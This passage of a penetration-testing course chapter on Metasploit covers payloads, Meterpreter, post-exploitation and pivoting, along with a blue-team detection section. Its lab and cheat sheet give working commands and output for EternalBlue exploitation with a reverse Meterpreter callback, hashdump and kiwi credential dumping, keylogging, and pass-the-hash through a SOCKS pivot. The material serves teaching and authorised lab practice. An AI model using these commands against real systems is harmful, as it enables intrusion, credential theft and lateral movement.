Honest takeaway for this notebook. In the lab, default payloads work because your VMs have Defender off or in permissive mode. Against a real hardened endpoint, out-of-the-box Metasploit payloads are detected on execution, and serious evasion is a specialised discipline (custom loaders, syscall stubs, sleep obfuscation, and mature C2 frameworks built for it) that is out of scope here and deployed only under explicit authorisation. The right lesson is not “which -e flag wins” but “understand that Metasploit’s stock payloads are loud, and treat evasion as a separate, carefully-scoped problem.” msfvenom and encoders get their proper, honest treatment in Chapter 5 — for bad-character handling and payload generation, which is what they’re genuinely good for.
Part 12: Detection & Defense Angle
Section titled “Part 12: Detection & Defense Angle”Everything above is offense. This consolidated section is the defender’s mirror — how a blue team sees, detects and blunts the exact activity this chapter teaches. If you only ever attack, you’ll never understand why real environments are harder than the lab.
Network-layer detection of callbacks and pivots:
- Beaconing patterns. Reverse Meterpreter (especially HTTP/S) polls at regular intervals. Analytics that flag regular-interval, low-jitter connections to a single external host catch default beacons. Randomising jitter is an attacker countermeasure — so low jitter is itself a signal.
- Bare-IP TLS with no reputation.
reverse_httpsto an IP with a self-signed cert, no SNI, and no domain reputation stands out. JA3/JA3S TLS fingerprints of the default Meterpreter stager are publicly catalogued; matching them flags the session even inside encryption. - Odd ports / protocol mismatch.
reverse_tcpon port 4444 (the Metasploit default) is a meme for a reason — leaving defaults is how labs get “caught” instantly. Egress filtering that only permits known-good destinations kills most reverse shells outright. - Internal pivot noise. A single workstation suddenly SYN-scanning a server subnet (the autoroute/socks portscan) is anomalous lateral behaviour that internal netflow and east-west sensors catch.
Host-layer detection:
- LSASS access —
hashdump,kiwi,lsa_dump_*all read LSASS memory. EDR products treat non-standard LSASS handle opens as one of their highest-fidelity detections. Sysmon Event ID 10 (ProcessAccess) targetinglsass.exeis the classic hunt. getsystemuses named-pipe impersonation; the pipe creation and token manipulation are detectable (Sysmon EID 17/18 for pipe events, plus token-privilege abuse telemetry).- Reflective/in-memory injection — Meterpreter’s hallmark. Sysmon EID 8 (CreateRemoteThread) and EID 25 (ProcessTampering), plus EDR memory scanning, target exactly this. Migration (
migrate) creates a remote thread in the destination process — another EID 8 hit. - Process lineage — an exploited service (
w3wp.exe,spoolsv.exe) suddenly spawningcmd.exe/powershell.exeis an anomalous parent-child relationship that behavioral rules flag immediately.
Defensive controls that actually blunt this chapter’s techniques:
| Control | What it stops |
|---|---|
| Strict egress filtering / allow-listed proxies | Reverse callbacks with nowhere to go |
| Credential Guard / LSA protection (RunAsPPL) | hashdump/kiwi reading LSASS |
| Disabling WDigest (default on modern Windows) | Cleartext creds from creds_all |
| EDR with memory + behavioural detection | In-memory Meterpreter, injection, migration |
| Network segmentation / east-west firewalls | Pivoting between subnets |
| LAPS (unique local admin passwords) | Pass-the-hash lateral spread from hashdump |
| Application allow-listing (WDAC/AppLocker) | Dropped msfvenom executables |
IR use case: when investigating a suspected Meterpreter compromise, a responder pulls Sysmon EID 8/10/17, hunts for LSASS access from non-standard processes, checks for the process migration chain, reviews egress netflow for beaconing to a bare IP, and pulls memory (Volatility) to find the reflectively-loaded, disk-less DLL that no file scan would reveal. The very “in-memory, no disk artefact” property that helps the attacker is what forces the responder to memory forensics — where Meterpreter is quite visible.
Part 13: Hands-On Lab — From Exploit to Meterpreter to Loot to Pivot
Section titled “Part 13: Hands-On Lab — From Exploit to Meterpreter to Loot to Pivot”This lab is fully reproducible on your own hardware and touches only VMs you build and own. It walks the entire chapter end to end: configure and fire an exploit, catch Meterpreter, migrate, escalate, harvest credentials, then pivot to a second host. Every command is real, every flag is explained, and the output shown is representative of what you will actually see.
Lab topology and build
Section titled “Lab topology and build”You need a hypervisor (VirtualBox or VMware) and three VMs on a host-only / internal network (never bridge a deliberately vulnerable box to a network with internet or other people’s machines):
| Role | VM | IP | Purpose |
|---|---|---|---|
| Attacker | Kali Linux | 10.10.14.7 | Runs Metasploit |
| Foothold | Metasploitable 3 (Windows) or a patched-down Win10 lab VM | 10.10.20.5 | First target |
| Internal | A second Windows/Linux VM, reachable only from the foothold | 10.10.30.10 | Pivot target |
Put the foothold on two virtual NICs: one on the 10.10.20.0/24 network Kali can see, and one on a 10.10.30.0/24 “internal” network Kali cannot reach directly. That second network is what makes the pivot meaningful. For a self-contained option, the deliberately vulnerable Metasploitable 3 boxes are purpose-built for exactly this exercise. If you prefer a guided cloud version, HTB/PG/THM boxes (see Part 16) reproduce the same flow.
Ethics gate: these are intentionally vulnerable machines. Keep them isolated on a host-only network, snapshot before you start, and never expose them. Everything below assumes you own or are authorised to test every IP.
Step 0 — start the database and console
Section titled “Step 0 — start the database and console”┌──(kali㉿kali)-[~]└─$ sudo systemctl start postgresql┌──(kali㉿kali)-[~]└─$ sudo msfdb init # first run only; initialises the msf database┌──(kali㉿kali)-[~]└─$ msfconsole -qmsf6 > db_status[*] Connected to msf. Connection type: postgresql.msf6 > workspace -a lab-ch4[*] Added workspace: lab-ch4msf6 > workspace lab-ch4db_status confirms the PostgreSQL backend (Chapter 3) is live so hosts, services and loot are recorded. workspace -a lab-ch4 isolates this engagement’s data.
Step 1 — confirm the target and pick an exploit
Section titled “Step 1 — confirm the target and pick an exploit”Assume prior scanning (from the Scanning & Enum notebook) already told you 10.10.20.5 runs a vulnerable SMB service. Import or scan it into the database:
msf6 > db_nmap -sV -p 445 10.10.20.5[*] Nmap: 445/tcp open microsoft-ds Windows ... microsoft-dsmsf6 > search ms17_010msf6 > use exploit/windows/smb/ms17_010_eternalbluemsf6 exploit(windows/smb/ms17_010_eternalblue) > infoinfo prints the description, rank (average), targets, options and references. Read it before firing — a memory-corruption SMB exploit can blue-screen the target, which is why you snapshot first.
Step 2 — configure options and run check
Section titled “Step 2 — configure options and run check”msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.10.20.5RHOSTS => 10.10.20.5msf6 exploit(windows/smb/ms17_010_eternalblue) > show optionsmsf6 exploit(windows/smb/ms17_010_eternalblue) > check[*] 10.10.20.5:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check[+] 10.10.20.5:445 - Host is likely VULNERABLE to MS17-010! ...[*] 10.10.20.5:445 - The target is vulnerable.check used a companion scanner to confirm vulnerability without exploiting — exactly the non-destructive pre-flight from Part 1. Green [+] and “target is vulnerable” mean proceed.
Step 3 — choose and configure the payload
Section titled “Step 3 — choose and configure the payload”msf6 exploit(...eternalblue) > show payloadsmsf6 exploit(...eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcpPAYLOAD => windows/x64/meterpreter/reverse_tcpmsf6 exploit(...eternalblue) > set LHOST 10.10.14.7LHOST => 10.10.14.7msf6 exploit(...eternalblue) > set LPORT 4444LPORT => 4444msf6 exploit(...eternalblue) > show optionsStaged x64 Meterpreter over reverse TCP (Part 3/4): the target is x64, we have a stable host-only link so staging is fine, and reverse TCP works because the lab has no egress filtering. LHOST is Kali’s IP as the target sees it; LPORT is the port our auto-started handler will listen on.
Step 4 — exploit and catch Meterpreter
Section titled “Step 4 — exploit and catch Meterpreter”msf6 exploit(...eternalblue) > exploit
[*] Started reverse TCP handler on 10.10.14.7:4444[*] 10.10.20.5:445 - Executing automatic check (disable AutoCheck to override)[+] 10.10.20.5:445 - The target is vulnerable.[*] 10.10.20.5:445 - Connecting to target for exploitation.[+] 10.10.20.5:445 - Connection established for exploitation.[*] 10.10.20.5:445 - Sending all but last fragment of exploit packet[*] 10.10.20.5:445 - Starting non-paged pool grooming[+] 10.10.20.5:445 - Sending SMBv2 buffers[*] 10.10.20.5:445 - Sending final SMBv2 buffers.[*] 10.10.20.5:445 - Sending last fragment of exploit packet![*] 10.10.20.5:445 - Receiving response from exploit packet[+] 10.10.20.5:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)![*] Sending stage (200774 bytes) to 10.10.20.5[*] Meterpreter session 1 opened (10.10.14.7:4444 -> 10.10.20.5:49772)
meterpreter > getuidServer username: NT AUTHORITY\SYSTEMmeterpreter > sysinfoComputer : WEB01OS : Windows ... x64Domain : CORPTrace the lifecycle from Part 1: handler started → check → exploit packet built and sent → “overwrite completed” → stage (200774 bytes) sent (the second-phase transfer from Part 3) → session opened. EternalBlue lands you as SYSTEM directly (it exploits the kernel), so no privesc is needed here — but we’ll demonstrate the escalation flow anyway in Step 6 on a scenario where you land unprivileged.
Step 5 — migrate for stability
Section titled “Step 5 — migrate for stability”meterpreter > ps PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 4820 672 spoolsv.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe 6604 620 explorer.exe x64 1 CORP\jsmith C:\Windows\explorer.exe 892 672 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe
meterpreter > migrate -N spoolsv.exe[*] Migrating from 3012 to 4820...[*] Migration completed successfully.meterpreter > getpidCurrent pid: 4820We migrated into spoolsv.exe — a long-lived SYSTEM service — so the session survives even though the exploited process could be unstable. (Part 9: arch must match; both are x64, so it succeeds.)
Step 6 — the honest privesc path (unprivileged scenario)
Section titled “Step 6 — the honest privesc path (unprivileged scenario)”On a box where your initial foothold is not SYSTEM (say a phished user shell you upgraded with sessions -u), the flow is:
meterpreter > getuidServer username: CORP\jsmithmeterpreter > getprivs...SeImpersonatePrivilege...meterpreter > getsystem[-] priv_elevate_getsystem: Operation failed: The requested operation requires elevation.meterpreter > run post/multi/recon/local_exploit_suggester[*] 10.10.20.5 - Collecting local exploits for x64/windows...[+] 10.10.20.5 - exploit/windows/local/... : The target appears to be vulnerable.getsystem failed because jsmith is not a local admin (Part 9’s key caveat). The local_exploit_suggester then enumerates viable local exploits; you use one, set SESSION 1, and run it to gain SYSTEM. With SeImpersonatePrivilege present, a Potato-family/incognito route is also available. This is the realistic escalation loop — not a blind getsystem.
Step 7 — harvest credentials
Section titled “Step 7 — harvest credentials”meterpreter > hashdumpAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::jsmith:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
meterpreter > load kiwi[*] Loading extension kiwi...Success.meterpreter > creds_all[+] Running as SYSTEM...msv credentialsjsmith CORP 8846f7eaee8fb117ad06bdd830b7586c
meterpreter > backgroundmsf6 > creds # the DB now stores harvested credsThe NTLM hashes go to hashcat for cracking and straight into pass-the-hash for the pivot. creds shows the database-stored loot (Chapter 3’s database in action).
Step 8 — pivot to the internal host
Section titled “Step 8 — pivot to the internal host”msf6 > sessions -i 1meterpreter > run autoroute -s 10.10.30.0/24[*] Adding route to 10.10.30.0/255.255.255.0...meterpreter > backgroundmsf6 > route printmsf6 > use auxiliary/scanner/portscan/tcpmsf6 auxiliary(scanner/portscan/tcp) > set RHOSTS 10.10.30.10msf6 auxiliary(scanner/portscan/tcp) > set PORTS 445,3389,5985msf6 auxiliary(scanner/portscan/tcp) > run[+] 10.10.30.10: - 10.10.30.10:445 - TCP OPEN[+] 10.10.30.10: - 10.10.30.10:3389 - TCP OPENKali cannot reach 10.10.30.10 directly, yet the scan works — because autoroute tunnelled it through session 1 (Part 10). Now use the stolen hash for a pass-the-hash attack against the internal host, all through the pivot:
msf6 > use auxiliary/server/socks_proxymsf6 auxiliary(server/socks_proxy) > set VERSION 5msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080msf6 auxiliary(server/socks_proxy) > run -j# in another terminal, with proxychains configured for socks5 127.0.0.1 1080:$ proxychains crackmapexec smb 10.10.30.10 -u Administrator \ -H 31d6cfe0d16ae931b73c59d7e0c089c0SMB 10.10.30.10 445 DC01 [+] CORP\Administrator ... (Pwn3d!)(Pwn3d!) means the harvested Administrator hash authenticated to the internal host over the pivot — a full chain from a single external SMB flaw to domain-relevant lateral movement, exactly the arc a real internal engagement follows.
Step 9 — clean up
Section titled “Step 9 — clean up”meterpreter > sessions -K # from msf prompt: sessions -K to kill allmsf6 > jobs -K # kill background handlers/proxiesRevert every VM to its pre-lab snapshot. If you deployed any persistence (you shouldn’t have here), remove it now and confirm removal. Cleanup is part of the job, not an afterthought.
Part 14: Common Pitfalls and How to Avoid Them
Section titled “Part 14: Common Pitfalls and How to Avoid Them”- “Exploit completed, but no session was created.” The exploit ran but the payload couldn’t call back. Check, in order: is
LHOSTyour routable IP as the target sees it (VPNtun0, noteth0; not127.0.0.1)? IsLPORTopen and not already bound? Does a firewall block the callback? Did you actually set a payload? Is the payload arch matching the target (x64 payload on x64 host)? On unreliable links, switch toreverse_httpsfor resilience. - Payload/handler mismatch. With
multi/handler, thePAYLOAD,LHOST, andLPORTmust be identical to what was baked into the delivered payload. Areverse_tcphandler will never catch areverse_httpspayload. This is the #1 msfvenom-plus-handler failure. - Wrong architecture. Setting an x86 payload against an x64 process (or vice-versa) fails silently or crashes. Prefer
windows/x64/...on 64-bit hosts. Migration also fails across an arch boundary. getsystemtreated as magic. It only works if you’re already local admin / hold the right privileges. If it fails, that’s expected — reach forlocal_exploit_suggester, a service misconfig, or aSeImpersonate/Potato route. Don’t spamgetsystem.- “Unknown command: hashdump/ps/download.” You’re either on a raw shell (not Meterpreter — upgrade with
sessions -u), the extension isn’t loaded (load stdapi/load priv), or you’re on the wrong platform. - Leaving defaults (
LPORT 4444, no SSL, bare IP). Fine in the lab, instantly flagged in monitored environments. On real engagements, use sane ports, HTTPS transports and redirectors. - Forgetting
exploit -j/set ExitOnSession false. Without them your handler blocks the console or dies after one catch — painful when you expect multiple callbacks. - Not migrating off an unstable process. Exploit a service that then crashes and your session dies. Migrate into
explorer.exeor a stable service early. - Windows path escaping. Use
C:\\Windows\\Temp(escaped) orC:/Windows/Temp(forward slashes) in Meterpreter; a single backslash gets eaten. - Skipping
checkand snapshots on fragile exploits. Memory-corruption exploits (EternalBlue, BlueKeep) can crash targets. Runcheck, prefer higher ranks, and snapshot lab VMs first. - Losing track of sessions. Name them (
sessions -n). Running a destructive command on the wrong SYSTEM session because you mis-read the ID is a real incident.
Part 15: Final Revision / Summary
Section titled “Part 15: Final Revision / Summary”The mental model to carry out of this chapter:
- The exploit is only a delivery mechanism; the payload is the code that runs. They’re decoupled modules — the same Meterpreter payload rides any compatible exploit. When you fire, the framework starts a handler first, then sends the malicious input; the target executes the payload and calls back to form a session.
- Targets enumerate the specific builds an exploit knows how to hit and constrain payload arch. Set the explicit target when you know the OS; automatic can crash a host by guessing wrong.
- Payloads are built from singles, stagers and stages.
meterpreter/reverse_tcp(slash) is staged — tiny stager pulls the big Meterpreter stage into memory.meterpreter_reverse_tcp(underscore) is stageless — one self-contained blob. Staged fits small buffers and is stealthier in memory; stageless is more robust and better for standalone files. - Reverse vs bind is dictated by the network: reverse (target dials out) beats firewalls/NAT and wins almost always; bind (you dial in) is for when the target has no route back but you can reach it. The transport (
tcp/http/https) is a stealth and resilience choice — HTTPS survives dropped links and inspection best. multi/handleris the standalone listener that catches any delivered payload; match payload+LHOST+LPORT exactly, use-jandExitOnSession false, script it with a.rc.- Meterpreter is an in-memory, reflectively-loaded, TLV-speaking, AES-encrypted, runtime-extensible agent. Its command set spans filesystem, system, networking and UI; extensions (
stdapi,priv,kiwi,incognito) add capability on demand. - Post-exploitation:
migratefor stability,getsystem/local_exploit_suggesterfor privilege,hashdump/kiwi/creds_allfor credentials — all with the honest caveats about when they work and how loudly they trip EDR. - Pivoting (
autoroute,portfwd,socks_proxy+proxychains) turns one foothold into reach across internal subnets — the highest-value thing a session buys you. - Encoders don’t beat modern AV/EDR — they solve bad-character and format problems. Stock Metasploit payloads are loud; real evasion is a separate, scoped discipline.
- Defenders catch this via beaconing analytics, TLS/JA3 fingerprints, LSASS-access and injection telemetry, process-lineage anomalies, and controls like egress filtering, LSA protection, EDR, segmentation and LAPS.
Chapter 5 takes the payload half of this chapter standalone: msfvenom — generating payloads outside the framework, output formats, bad-character handling, encoders and templates, plus the delivery-and-catch loop with multi/handler. Chapter 6 closes the arc with dedicated post-exploitation modules, automation and deeper pivoting.
Part 16: Cheat Sheet / Quick Reference
Section titled “Part 16: Cheat Sheet / Quick Reference”Exploit configuration
use exploit/<path> # select an exploit moduleshow options / show missing # required settingsshow targets ; set TARGET <id> # pick the victim buildset RHOSTS <ip> ; set RPORT <p> # the targetcheck # non-destructive vuln probeinfo # full module detail + rank + refsPayload selection
show payloads # compatible payloads onlyset PAYLOAD windows/x64/meterpreter/reverse_httpsset LHOST <your-ip> ; set LPORT 443# staged = meterpreter/reverse_tcp (slash)# stageless = meterpreter_reverse_tcp (underscore)Standalone handler
use exploit/multi/handlerset PAYLOAD <same as delivered payload>set LHOST <ip> ; set LPORT <port>set ExitOnSession falseexploit -j # background; -z = catch without interactingmsfconsole -q -r handler.rc # scripted listenerSessions
background / Ctrl-Z # leave a session runningsessions -l # listsessions -i <id> # interactsessions -k <id> / -K # kill one / allsessions -u <id> # upgrade shell -> Meterpretersessions -n <name> -i <id> # name a sessionsessions -C "getuid" # run cmd across all meterpreter sessionsMeterpreter — recon & files
sysinfo ; getuid ; getpid ; ps ; getenvls ; cd ; pwd ; cat ; editdownload <r> <l> [-r] ; upload <l> <r>search -f *.kdbx -d C:\\Usersipconfig ; arp ; netstat -ano ; routeshell # drop to native cmd/shMeterpreter — post-ex
migrate -N explorer.exe # move to a stable processgetprivs ; getsystem # privilege (needs local admin)run post/multi/recon/local_exploit_suggesterload priv ; hashdump # SAM NTLM hashes (SYSTEM)load kiwi ; creds_all ; lsa_dump_secretsload incognito ; list_tokens -u ; impersonate_token '<DOM\\user>'screenshot ; keyscan_startPivoting
run autoroute -s 10.10.30.0/24 # route MSF modules via sessionrun autoroute -p ; route print # show routesportfwd add -l 3389 -p 3389 -r <ip> # forward one port to loopbackuse auxiliary/server/socks_proxy ; set VERSION 5 ; run -jproxychains <tool> <internal-ip> # any tool through the pivotJobs
exploit -j ; jobs -l ; jobs -k <id> ; jobs -KPart 17: Practice Labs & Resources
Section titled “Part 17: Practice Labs & Resources”Train these exact skills — payload selection, catching Meterpreter, post-ex and pivoting — on machines built for it:
- TryHackMe — “Metasploit: Exploitation” and “Metasploit: Meterpreter” rooms: the most direct, guided coverage of everything in this chapter, from
multi/handlerto Meterpreter post-ex. - TryHackMe — “Blue” (MS17-010/EternalBlue): reproduces the Step 4 exploit-to-SYSTEM flow used in the lab, plus
hashdumpand hash cracking. - TryHackMe — “Ice” and “Blaster”: Meterpreter, migration,
local_exploit_suggesterprivesc, and post-exploitation on Windows. - HackTheBox — “Legacy” and “Lame”: classic single-exploit-to-shell boxes ideal for the exploit→session workflow; “Devel” and “Optimum” add the
local_exploit_suggester/kernel-privesc loop from Step 6. - HackTheBox Pro Labs / multi-host boxes (e.g. Dante, or any box with an internal-only subnet): the place to practise
autoroute+socks_proxypivoting from Step 8 for real. - Metasploitable 3 (Windows + Linux): the self-hosted, offline lab used in Part 13 — build it on your own hypervisor and run the full chain with no VPN or subscription.
- Proving Grounds (Offsec Play/Practice): OSCP-style boxes where the exploit→Meterpreter→privesc→loot pattern is drilled repeatedly under exam-like conditions.
- Offensive Security’s Metasploit Unleashed (free): the canonical written reference for msfconsole, payloads, Meterpreter and post-exploitation — use it alongside these rooms to look up any command in depth.
Work them in order: single-exploit boxes first (Legacy/Lame/Blue) to cement the exploit→session→Meterpreter loop, then privesc boxes (Devel/Optimum/Ice) for getsystem/local_exploit_suggester, then a multi-host lab for pivoting. By the end you should be able to go from an open port to a pivoted, credential-backed foothold on a second subnet without notes — which is exactly what Chapter 5 (msfvenom) and Chapter 6 (post-exploitation & automation) build on next.
Discussion
Questions, corrections, or something to add? Comment with your GitHub account.